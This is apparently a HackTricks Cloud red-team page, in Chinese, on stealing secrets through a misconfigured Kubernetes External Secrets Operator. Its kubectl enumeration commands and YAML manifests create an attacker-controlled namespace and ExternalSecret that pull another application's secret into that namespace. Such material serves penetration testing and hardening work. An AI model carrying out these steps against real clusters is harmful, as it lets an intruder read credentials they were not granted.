External Secret Operator
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
该页面的原作者是 Fares
本页面提供了一些关于如何从配置错误的 ESO 或使用 ESO 同步其秘密的应用程序中窃取秘密的指引。
免责声明
下面展示的技术仅在满足某些条件时有效。例如,它依赖于允许在您拥有/已攻陷的命名空间中同步秘密的要求。您需要自己找出这些条件。
先决条件
- 在具有命名空间管理员权限的 kubernetes / openshift 集群中获得立足点
- 在集群级别至少对 ExternalSecret 具有读取权限
- 确定是否需要任何标签/注释或组成员资格,以允许 ESO 同步您的秘密。如果您运气好,您可以自由窃取任何定义的秘密。
收集有关现有 ClusterSecretStore 的信息
假设您有足够权限读取此资源的用户;首先列出现有的 ClusterSecretStores。
kubectl get ClusterSecretStore
ExternalSecret 枚举
假设您找到了一个名为 mystore 的 ClusterSecretStore。继续枚举其关联的 externalsecret。
kubectl get externalsecret -A | grep mystore
这个资源是命名空间范围的,因此除非您已经知道要查找哪个命名空间,否则请添加 -A 选项以查看所有命名空间。
您应该会得到一个已定义的 externalsecret 列表。假设您找到了一个名为 mysecret 的 externalsecret 对象,该对象由命名空间 mynamespace 定义和使用。收集更多关于它持有什么类型的秘密的信息。
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
组装各个部分
从这里你可以获取一个或多个秘密名称(如在 Secret 资源中定义的)。你将得到类似于以下的输出:
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
到目前为止,我们得到了:
- ClusterSecretStore 的名称
- ExternalSecret 的名称
- 秘密的名称
现在我们有了所需的一切,您可以创建一个 ExternalSecret(并最终修补/创建一个新的 Namespace,以符合同步新秘密所需的先决条件):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
在几分钟后,如果满足同步条件,您应该能够在您的命名空间中查看泄露的秘密。
kubectl get secret leaked_secret -o yaml
参考
Introduction - External Secrets Operator
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

